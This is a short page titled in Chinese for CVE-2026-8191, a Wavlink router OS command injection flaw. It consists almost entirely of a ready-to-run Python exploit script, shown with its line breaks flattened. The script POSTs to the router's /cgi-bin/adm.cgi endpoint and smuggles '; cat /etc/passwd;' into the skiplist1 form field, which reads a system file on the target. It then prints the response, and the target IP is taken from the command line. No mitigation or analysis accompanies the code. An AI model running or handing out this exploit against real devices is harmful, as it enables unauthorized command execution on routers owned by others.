CVE-2026-8191 Wavlink路由器OS命令注入漏洞

import requests def exploit(target_ip): # Target endpoint url = f"http://{target_ip}/cgi-bin/adm.cgi" # Malicious payload to inject OS command # Using semicolon to separate commands payload = { "wifi_region": "US", "skiplist1": "; cat /etc/passwd;", "skiplist2": "test" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-8191-Scanner/1.0)" } try: print(f"[*] Sending exploit payload to {target_ip}...") response = requests.post(url, data=payload, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response body:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": import sys if len(sys.argv) != 2: print("Usage: python cve_exploit.py <target_ip>") else: exploit(sys.argv[1])